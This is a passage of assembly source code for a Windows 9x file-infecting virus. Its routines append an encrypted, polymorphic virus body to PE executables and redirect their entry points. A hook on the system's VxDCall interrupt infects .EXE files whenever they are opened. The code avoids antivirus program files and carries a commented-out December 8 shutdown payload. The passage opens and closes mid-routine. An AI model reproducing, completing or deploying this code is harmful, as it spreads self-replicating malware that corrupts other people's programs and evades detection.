- jz Error_OpenAndMapFile_Mapping ;No
- mov [esi + hMappedFile], eax ;Yes, Save Handle
- ;Map View of the File
- call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
- mov [esi + lpHostFile], eax ;Have to save Mapped Address
- test eax, eax ;File Mapped Successfully ?
- jnz End_OpenAndMapFile ;Yes
- ;Error Occured, Close Files, and Restore Attributes
- call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping
- Error_OpenAndMapFile_Mapping:
- call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File
- Error_OpenAndMapFile_Create:
- call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
- xor eax, eax ;Error, Return 0
- End_OpenAndMapFile:
- ret
- OpenAndMapFile ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | UnmapAndCloseFile | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Unmaps the open file and closes the handles associated with it. It
- ; also restores the original file attributes and file time.
- ;
- ; Arguments
- ; -> uacf_szFilename: Name of the file that is being unmapped. This is
- ; used only to restore the file attributes
- ;
- ; Return Value:
- ; -> None
- ;
- ; Registers Destroyed
- ; -> All
- ;_____________________
- UnmapAndCloseFile PROC uacf_szFilename:DWORD
- ;Unmap File
- @DELTA esi
- call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File
- call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping
- ;Restore File Time
- lea eax, [esi + ftLastAccessTime]
- lea ebx, [esi + ftLastWriteTime]
- call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
- ;Close File
- call esi + CloseHandle, [esi + hHostFile] ;Close the File
- ;Restore File Attributes
- call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
- ret
- UnmapAndCloseFile ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | InfectFile | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Infects the host file with our virus
- ;
- ; Arguments
- ; -> DWORD if_szFileName: Address of the file to be infected
- ; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes)
- ; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes)
- ;
- ; Return Value:
- ; -> EAX: 1 if Infected, 0 on Error
- ;
- ; Registers Destroyed
- ; -> All
- ;__________________________________
- InfectFile PROC if_szFileName:DWORD
- LOCAL lpdwLastSection:DWORD, \
- dwVirusBegin:DWORD, \
- dwNewEntryRVA:DWORD, \
- dwJumpBytes:DWORD, \
- dwIOH:DWORD, \
- dwIncFileSize:DWORD, \
- dwIncSecSize:DWORD, \
- dwDeltaOffset:DWORD
- @DELTA esi
- mov [dwDeltaOffset], esi ;Save Delta Offset
- ;Check if the file can be infected, or not
- call CanFileBeInfected, if_szFileName
- test eax, eax ;Can it be infected
- jz End_InfectFile ;No
- mov [dwIncFileSize], ebx ;Save Increase in File Size
- mov [dwIncSecSize], ecx ;Save Increase in Section Size
- ;Map Host File into Memory
- call OpenAndMapFile, if_szFileName, dwIncFileSize
- test eax, eax ;File Opened and Mapped Successfully
- jz End_InfectFile ;No, Return Code = 0
- mov esi, [dwDeltaOffset]
- mov [esi + lpHostFile], eax ;Save staring address of file
- ;Get File Headers
- call GetFileHeaders, eax ;This should not fail, since its already...
- mov [dwIOH], ebx ;...called once in CanFileBeInfected
- mov [lpdwLastSection], ecx
- ;Calculate the Starting of Virus Code in File
- mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
- add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
- mov [dwVirusBegin], eax ;RVA of New Entry Point in File
- ;Calculate RVA of New Entry Point
- mov ebx, [lpdwLastSection]
- sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
- add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
- mov [dwNewEntryRVA], eax
- ;Calculate Bytes of JMP Instruction
- add eax, offset ReturnToHost - offset StartOfVirusCode
- mov ebx, [dwIOH]
- sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
- add eax, 4
- not eax
- mov [dwJumpBytes], eax ;Save Bytes
- ;Append the Virus to the host
- mov esi, offset StartOfVirusCode ;Copy Virus from Here...
- add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection
- mov edi, [dwVirusBegin] ;...to here
- mov ebx, [dwDeltaOffset]
- add edi, [ebx + lpHostFile] ;true location to copy to
- mov ecx, VIRUS_SIZE
- rep movsb
- ;Write New Jump Instruction in File
- ;Offset in File where operand to JMP instruction is to be put
- mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
- add ebx, [dwVirusBegin] ;True offset in file
- mov esi, [dwDeltaOffset]
- add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File
- mov ecx, [dwJumpBytes] ;Get operand for jmp instruction
- mov [ebx], ecx ;Put it in the file
- ;Update the Last Section Header
- mov eax, [lpdwLastSection]
- mov ebx, [dwIncSecSize]
- mov ecx, [dwIncFileSize]
- add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
- add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
- or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
- ;Fix VirtualSize (if Required) for files like TRACERT.EXE)
- mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
- cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong
- jge VirtualSizeFine ;No, Fix Not Required
- mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it
- VirtualSizeFine:
- ;Update the PE Header (Image Size)
- mov ebx, [dwIOH] ;Address of Image Optional Header
- add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
- ;Update the PE Header (Entry RVA)
- mov ecx, [dwNewEntryRVA] ;Get New Entry RVA
- mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
- ;Update the Win32VersionValue field. This is used as a Virus Signature
- mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
- ;Encrypt the file, and Close it
- mov ebx, [dwDeltaOffset]
- mov edi, [ebx + lpHostFile] ;Staring address of Host File
- add edi, [dwVirusBegin] ;Address of virus in file
- call EncryptVirus
- call UnmapAndCloseFile, if_szFileName
- xor eax, eax
- inc eax ;All OK, Return Code 1
- End_InfectFile:
- ret
- InfectFile ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | EncryptVirus | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Encrypts the Virus Code with a random byte, and mutates the decryptor,
- ; making the virus Encrypted & Polymorphic
- ;
- ; Arguments
- ; -> EDI: Starting address of Virus in Memory Mapped File
- ;
- ; Return Value:
- ; -> None
- ;
- ; Registers Destroyed
- ; -> All except EDI
- ;________________
- EncryptVirus PROC
- push edi ;Save starting address of virus code
- ;Get Encryption Key, to be used for encrypting/decrypting
- ;@DELTA esi
- ;call esi + GetTickCount ;Get random number in EAX (AL)
- in al, 40h ;Get random encryption key
- IF DEBUG
- xor al, al ;Don't encrypt in Debug Mode
- ENDIF
- mov ecx, ENCRYPTED_SIZE
- add edi, LOADER_SIZE ;Don't enrypt the loader !!
- EncryptByte:
- xor byte ptr [edi], al ;al = Encryption Key
- inc edi
- loop EncryptByte
- pop edi ;restore starting address of virus code
- ;Update the Encryption Key in the decryptor
- mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al
- ;Mutate the Decryptor
- call MutateDecryptor
- ret
- EncryptVirus ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | StringLength | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> Returns the length of the string
- ;
- ; Arguments
- ; -> DWORD sl_lpszString: Address of the string
- ;
- ; Return Value:
- ; -> EAX: Length of the string
- ;
- ; Registers Destroyed
- ; -> EAX, ECX, EDI
- ;____________________________________
- StringLength PROC sl_lpszString:DWORD
- mov edi, sl_lpszString ;string whose length is required
- xor ecx, ecx
- dec ecx ;ecx = -1, search till infinity
- xor eax, eax ;search for NULL character
- repne scasb ;Find the terminating NULL
- not ecx
- dec ecx ;length of string
- mov eax, ecx ;return length of string
- ret
- StringLength ENDP
- ;****************************************************************************
- ; TimerProc
- ;****************************************************************************
- ; Description
- ; -> This function is called when the Time-out value for the Timer Expires.
- ;
- ; Arguments
- ; -> tp_hwnd: Handle of the window
- ; tp_uMsg: WM_TIMER
- ; tp_idEvent: ID of the timer
- ; tp_dwTimer: Value of GetTickCount()
- ;
- ; Return Value:
- ; -> None
- ;
- ; Registers Destroyed
- ; -> All
- ;_____________________________________________________________________________
- ;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD
- ; LOCAL dwDeltaOffset:DWORD, \
- ; dwFileNumber:DWORD, \
- ; stTime:SYSTEMTIME
- ; pushad ;must save, since this is a CALLBACK fn
- ; @DELTA esi
- ; mov [dwDeltaOffset], esi
- ;
- ;Check if Date is 8th December
- ; lea eax, stTime
- ; call esi + GetLocalTime, eax
- ; cmp stTime.ST_wMonth, 12 ;is Month = December
- ; jne Not_8_December ;No
- ; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th
- ; jne Not_8_December ;No
- ;
- ;Deliever Payload since date is 8th December
- ; call PayLoad
- ;
- ;Not_8_December:
- ;
- ;Lock System if Windows has been running for a long time
- ; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours
- ; ;jle NoLockWindows ;No
- ; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System
- ; ;DB 0Fh
- ; ;DB 0C7h
- ; ;DB 0C8h
- ;
- ;NoLockWindows:
- ;
- ;
- ;End_TimerElapsed:
- ; popad ;restore state
- ; ret
- ;TimerProc ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | CanFileBeInfected | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function checks if a file can be infected or not. It checks the
- ; following:
- ; 1. File must be an EXE
- ; 2. File must be a PE
- ; 3. It must not be a DLL
- ; 4. File must not be infected by our virus
- ; 5. It must not be a Winzip Self-Extractor File
- ;
- ; If all the above conditions are met, this function returns the size, in
- ; bytes, by which the file and section must be increased when the file is
- ; infected.
- ;
- ; Arguments
- ; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check
- ;
- ; Return Value:
- ; -> EAX: 1 if the file can be infected, 0 Otherwise
- ; -> EBX: Bytes by which the file size must be increased if it is infected
- ; -> ECX: Bytes by which the last section size must be increased if it is infected
- ;
- ; Registers Destroyed
- ; -> All
- ;___________________________________________
- CanFileBeInfected PROC cfbe_szFileName:DWORD
- ;Map File, without increasing the File Size
- call OpenAndMapFile, cfbe_szFileName, 0
- test eax, eax ;File Opened & Mapped Successfully
- jz End_CanFileBeInfected ;No, Return with Error Code = 0
- ;Get File Headers
- call GetFileHeaders, eax
- test eax, eax ;Successfully retreived file headers
- je End_CanFileBeInfected ;No, probably not a PE file
- ;Check if file is infected. We use the Win32VersionValue for storing our signature
- cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
- jz Error_CanFileBeInfected ;File is already infected
- ;Check if file is a DLL
- test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
- jnz Error_CanFileBeInfected ;Yes
- ;Check if last section is sharable
- ;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics
- ;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable
- ;jnz Error_CanFileBeInfected ;Yes, don't infect
- ;Don't infect Winzip Self-Extractor Files.
- ;The last section of this file has the name _winzip_. Note that Winzip
- ;Self-Extrator Personal Edition Files will still be infected, since they
- ;don't have this section
- cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;"_win" ?
- je Error_CanFileBeInfected ;Yes, dont infect
- ;OK, File can be infected, Great !!, ;-)
- mov eax, ebx ;Image Optional Header
- mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
- mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
- ;Calculate Increase in Section size
- ;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN
- mov eax, VIRUS_SIZE - 1
- add eax, ecx ;Add Section Alignment
- xor edx, edx ;We need to divide only EAX
- div ecx ;Divide by SECTION_ALIGN
- mul ecx ;Multiply by SECTION_ALIGN
- push eax ;Save Increase in Section Size
- ;Calculate Increase in File Size
- ;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
- ;mov eax, VIRUS_SIZE;**NEW LINE
- ;dec eax ;INC_SEC_SIZE - 1
- mov eax, VIRUS_SIZE - 1
- add eax, ebx ;Add File Alignment, FILE_ALIGN
- div ebx ;Divide by FILE_ALIGN
- mul ebx ;Multiply by FILE_ALIGN
- push eax ;Save Increase in File Size
- ;Close the file, and return relevant values
- call UnmapAndCloseFile, cfbe_szFileName
- pop ebx ;Get Increase in File Size
- pop ecx ;Get Increase in Section Size
- xor eax, eax
- inc eax ;Return Code 1
- jmp End_CanFileBeInfected
- Error_CanFileBeInfected:
- call UnmapAndCloseFile, cfbe_szFileName
- xor eax, eax ;Return Code 0
- End_CanFileBeInfected:
- ret
- CanFileBeInfected ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | PayLoad | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function is called on the 8th of December. It delievers the Payload
- ; of the virus.
- ;
- ; Arguments
- ; -> None.
- ;
- ; Return Value:
- ; -> None.
- ;
- ; Registers Destroyed
- ; -> All
- ;___________
- ;PayLoad PROC
- ; @DELTA esi
- ; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL
- ; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL
- ; ret
- ;PayLoad ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | CanMachineBeInfected | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function is called to check if the virus should infect this machine
- ; or not. This is used, so that the virus doesn't infect My Machine !!
- ;
- ; Arguments
- ; -> None.
- ;
- ; Return Value:
- ; -> EAX: 0 -> machine should not be infected, else it can be infected
- ;
- ; Registers Destroyed
- ; -> All
- ;________________________
- CanMachineBeInfected PROC
- @DELTA esi
- ;Check if the "No Infect" file exists on the current machine
- mov eax, esi
- add eax, offset szNoInfectFileName
- call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
- OPEN_EXISTING, NULL, NULL
- cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
- je End_CanMachineBeInfected ;No, so machine can be infected
- ;Close the file, and return 0, since its probably my machine
- call esi + CloseHandle, eax
- xor eax, eax ;return 0, so that machine is not infected
- End_CanMachineBeInfected:
- ret
- CanMachineBeInfected ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | RelocateVirus | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function allocates memory in the Shared area and copies the Virus
- ; to that area.
- ;
- ; Arguments
- ; -> None.
- ;
- ; Return Value:
- ; -> EAX: Base address of Memory where the Virus was copied, or NULL if an
- ; error occured.
- ;
- ; Registers Destroyed
- ; -> All
- ;_________________
- RelocateVirus PROC
- LOCAL dwDeltaOffset:DWORD, \
- dwMemoryRegion:DWORD
- @DELTA esi
- mov [dwDeltaOffset], esi
- ;Reserve Shared Memory
- @DELTA esi
- call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
- PC_WRITEABLE OR PC_USER
- cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully?
- je Error_RelocateVirus ;No
- cmp eax, SHARED_MEMORY ;Shared memory Allocated?
- jb Error_RelocateVirus ;No
- ;Save Address of Region
- mov [dwMemoryRegion], eax
- ;Commit Shared Memory
- shr eax, 0Ch ;Page Number
- mov esi, [dwDeltaOffset]
- call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
- PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
- or eax,eax
- je Error_RelocateVirus
- ;Copy Virus to Newly Allocate Memory
- mov esi, dwDeltaOffset
- add esi, offset StartOfVirusCode ;Start Copying From Here
- mov edi, [dwMemoryRegion] ;Copy Here
- mov ecx, VIRUS_SIZE ;Size to Copy
- rep movsb
- mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated
- jmp End_RelocateVirus
- Error_RelocateVirus:
- xor eax, eax ;Return 0, since an error occured
- End_RelocateVirus:
- ret
- RelocateVirus ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | InstallHookProcedure | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function installs a hook procedure to monitor VxDCalls
- ;
- ; Arguments
- ; -> None.
- ;
- ; Return Value:
- ; -> None.
- ;
- ; Registers Destroyed
- ; -> All
- ;________________________
- InstallHookProcedure PROC
- LOCAL dwDeltaOffset:DWORD
- @DELTA esi
- mov [dwDeltaOffset], esi
- ;Modify the JMP instruction, so that it points to the address of OldInt30
- mov eax, esi
- add eax, offset OldInt30Address ;Bytes to modify
- mov ebx, esi
- add ebx, offset OldInt30 ;Address of OldInt30
- mov [eax], ebx ;Modify JMP instruction
- ;The disassembly of the VxDCall function looks like this:
- ;
- ;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h]
- ;8F 04 24 POP DWORD PTR [ESP]
- ;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX]
- ;
- ;The last instuction points to an INT 30h instruction that is used by
- ;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the
- ;address pointed to by the CALL, i.e. XXXXXX, so that it points to our
- ;code. Before that, we should save the current address, so that we can
- ;call the old INT 30h
- ;Trace through VxDCall, until we come to the XXXXXXXX bytes
- add esi, offset VxDCall
- mov esi, [esi] ;First byte of VxDCall function
- mov ecx, 50 ;Scan upto 50 bytes
- TraceVxDCall:
- lodsb ;Get current byte
- cmp al, 2Eh ;First byte of CALL instruction?
- jne TraceVxDCall_NextByte ;No, check next byte
- cmp word ptr [esi], 1DFFh ;Next two bytes of instruction?
- je TraceVxDCall_AddressFound ;Yes
- TraceVxDCall_NextByte:
- loop TraceVxDCall ;Continue Checking...
- TraceVxDCall_AddressFound:
- ;Save Current INT 30h Address
- cli ;Cannot afford to be interrupted
- lodsw ;Skip over FF and 1D opcodes of CALL
- lodsd ;Pointer to INT 30h instruction, XXXXXXXX
- mov esi, eax ;Copy Bytes From Here
- mov edi, [dwDeltaOffset]
- add edi, offset OldInt30 ;To Here
- mov ecx, 6 ;Save 6 bytes, FWORD
- rep movsb
- ;Install New INT 30h Handler
- mov edi, eax ;Pointer to INT 30h instruction
- mov eax, [dwDeltaOffset]
- add eax, offset VxDInt30Handler ;Copy This Address
- stosd ;Save 4 bytes ...
- mov ax, cs
- stosw ;and 2 bytes (since FWORD instruction)
- sti ;Handler installed, enable interrupts
- ret
- InstallHookProcedure ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | VxDInt30Handler | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This is the hook procedure that monitors VxDCalls (INT 30h)
- ;
- ; Arguments
- ; -> None.
- ;
- ; Return Value:
- ; -> None.
- ;
- ; Registers Destroyed
- ; -> All
- ;___________________
- VxDInt30Handler PROC
- pushad ;Save all, since this is an interrupt handler
- ;Make sure that we don't process our own calls
- @OFFSET ebp, VxDCall_Busy
- cmp byte ptr [ebp], TRUE ;Is Virus busy
- je Exit_VxDInt30Handler ;Yes, prevent re-entrancy
- ;Process only INT 21h Services
- cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h?
- jne Exit_VxDInt30Handler
- mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service
- cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency?
- je Residency_Check ;Yes
- cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended
- je Extended_File_Open
- jmp Exit_VxDInt30Handler ;None, go to default handler
- Residency_Check:
- ;Virus Residency Check
- popad ;Restore stack and other regs
- mov esi, RESIDENCY_SUCCESS ;Tell caller that we're resident
- jmp Original_VxDInt30Handler ;Go to original handler
- Extended_File_Open:
- ;Prevent Re-entrancy
- @OFFSET eax, VxDCall_Busy
- mov byte ptr [eax], TRUE
- push esi
- call IsFilenameOK, esi
- pop esi
- or eax, eax
- jz File_Not_Executable
- ;Do Stuff
- ;call OutputFileName
- call InfectFile, esi
- File_Not_Executable:
- ;Finished Processing
- @OFFSET eax, VxDCall_Busy
- mov byte ptr [eax], FALSE
- Exit_VxDInt30Handler:
- popad ;Restore, before transfering control
- Original_VxDInt30Handler:
- ;The following bytes will be translated to JMP FWORD PTR CS:[00000000]
- DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX]
- OldInt30Address: ;The following 4 bytes will be replaced by the
- DB 4 DUP (0) ;address of OldInt30 in memory.
- ;ret ;Not required, since we're jumping out
- VxDInt30Handler ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | IsFilenameOK | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function checks if the filename is OK for infection or not. If the
- ; filename meets any of the folling criteria, this function returns a
- ; failure.
- ; * Filename is less than 5 characters. This is checked, because
- ; we are infecting only .EXE files, so the minimum length of such
- ; a file is 5 characters
- ; * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The
- ; comparison is case insensitive
- ; * The filename must NOT consist of any of the following pairs of
- ; characters, viz., "AV", "AN", "F-". This is done to prevent
- ; infection of Anti-Virus program files.
- ;
- ; Arguments
- ; -> ife_szFilename: Address of the buffer where the filename is stored
- ;
- ; Return Value:
- ; -> EAX: 1 if the filename is OK, 0 otherwise
- ;
- ; Registers Destroyed
- ; -> All
- ;___________________________________
- IsFilenameOK PROC ife_szFilename
- LOCAL szExtention[4]:BYTE
- ;Check Filename Length
- mov esi, ife_szFilename
- call StringLength, esi ;Get length of filename
- cmp eax, 4 ;Is File name less than 5 characters (.EXE)
- jl Error_IsFilenameOk ;Yes, Don't infect
- push eax ;Save Length of Filename
- ;Get File Extention
- mov eax, [esi + eax - 4] ;File Extention (including ".")
- lea edx, szExtention ;Get Address of Extention Buffer
- mov [edx], eax ;Store extention in buffer
- ;Convert to upper case
- mov ecx, 3 ;3 characters to be converted
- ToUpperCase:
- inc edx ;Don't have to check "." for upper case
- cmp byte ptr [edx], "a"
- jl NextCharacter
- cmp byte ptr [edx], "z"
- jg NextCharacter
- sub byte ptr [edx], "a" - "A" ;Convert to upper case
- NextCharacter:
- loop ToUpperCase
- pop ecx ;Get Length of Filename
- ;Check the Extention
- IF DEBUG
- cmp dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only)
- ELSE
- ERR "Release Mode, Executables will be Infected !!!" ;Comment to assemble
- cmp dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only)
- ENDIF
- jne Error_IsFilenameOk ;No, Extention doesn't match
- ;Check Anti-Virus Program Files
- dec ecx ;Since we're checking 2 char, last char not reqd
- CheckAntiVirusFiles:
- cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte)
- je Error_IsFilenameOk
- cmp word ptr [esi], "va"
- je Error_IsFilenameOk
- cmp word ptr [esi], "-F" ;"F-"; for F-PROT
- je Error_IsFilenameOk
- cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN
- je Error_IsFilenameOk
- cmp word ptr [esi], "na"
- je Error_IsFilenameOk
- inc esi ;Next Character
- loop CheckAntiVirusFiles ;Check All
- xor eax, eax
- inc eax
- jmp End_IsFilenameOk
- Error_IsFilenameOk:
- xor eax, eax
- End_IsFilenameOk:
- ret
- IsFilenameOK ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- OutputFileName PROC
- LOCAL dwFilename:DWORD, \
- dwDeltaOffset:DWORD
- mov [dwFilename], esi
- @DELTA esi
- mov [dwDeltaOffset], esi
- ;Create File to write into
- mov edx, [dwDeltaOffset]
- add edx, offset szOutputFile
- mov esi, 0BFF77ADFh
- call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
- 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
- cmp eax, INVALID_HANDLE_VALUE
- je End_OutputFileName
- ;Go to end of file
- push eax ;Save Handle
- mov esi, 0BFF7713Fh ;SetFilePointer
- call esi, eax, 0, 0, 2
- pop eax ;Restore Handle
- ;Get Length of FileName
- push eax ;Save Handle
- mov edx, [dwFilename]
- mov esi, 0BFF773ADh ;lstrlen
- call esi, edx
- mov ebx, eax ;length of filename
- pop eax ;Restore Handle
- ;Write Into File
- push eax ;save handle
- push eax ;Create Buffer, used for number of bytes written
- lea ecx, [esp - 4]
- mov edx, [dwFilename]
- mov esi,0BFF76FD5h ;WriteFile
- call esi, eax, edx, ebx, ecx, 0
- pop eax ;Remove Buffer
- pop eax ;restore handle
- ;Close File
- mov esi, 0BFF7E064h
- call esi, eax
- End_OutputFileName:
- ret
- OutputFileName ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | IsVirusActive | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function returns 1 if the virus is active in memory, else returns
- ; 0. This function also saves the address of the VxDCall API.
- ;
- ; Arguments
- ; -> None.
- ;
- ; Return Value:
- ; -> EAX: 1 if the Virus is Resident. 0 otherwise
- ;
- ; Registers Destroyed
- ; -> All
- ;_________________
- IsVirusActive PROC
- call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API
- test eax, eax ;Found Address ?
- jz End_IsVirusActive ;No, Return 0
- ;Save address of VxDCall API
- @OFFSET ebx, VxDCall
- mov [ebx], eax ;Save Address
- ;Check if Virus is Already Resident
- @CALL_INT21h RESIDENCY_CHECK_SERVICE
- xor eax, eax ;Assume not resident
- cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident
- jne End_IsVirusActive ;No, return 0
- inc eax ;Yes, return 1
- End_IsVirusActive:
- ret
- IsVirusActive ENDP
- ;+----------------------------------------------------------------------------+
- ;| +------------------------------------------------------------------------+ |
- ;| | | |
- ;| | GetFileHeaders | |
- ;| | | |
- ;| +------------------------------------------------------------------------+ |
- ;+----------------------------------------------------------------------------+
- ; Description
- ; -> This function retreives the address of various file headers, viz.,
- ; Image File Header, Image Optional Header, Last Section Header,
- ; Image Export Directory. The function fails if the specified file is
- ; not a Portable Executable (PE) file
- ;
- ; Arguments
- ; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are
- ; required.
- ;
- ; Return Value:
- ; -> EAX: Address of the Image File Header, or 0 if the function failed
- ; -> EBX: Address of the Image Optional Header
- ; -> ECX: Address of the Last Sections Header
- ; -> EDX: Address of the Image Export Directory
- ;
- ; Registers Destroyed
- ; -> All
- ;_______________________________________
- GetFileHeaders PROC gfh_dwFileBase:DWORD
- LOCAL dwIOH:DWORD, \
- dwIED:DWORD, \
- mov esi, [gfh_dwFileBase]
- cmp word ptr [esi], "ZM" ;Is EXE/DLL Present ?
- jne Error_GetFileHeaders ;No
- ;Check for PE Signature
- add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
- cmp dword ptr [esi], "EP" ;PE File ?
- jne Error_GetFileHeaders ;No
- ;Get Image Optional Header
- add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header
- push esi ;Save Image File Header
- add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header
- mov [dwIOH], esi ;Save
- ;Get the Address of the Image Export Directory
- mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image Export Directory
- add esi, [gfh_dwFileBase]
- mov dword ptr [dwIED], esi
- ;Get Address of Last Section Header
- pop esi ;Get Image File header
- movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
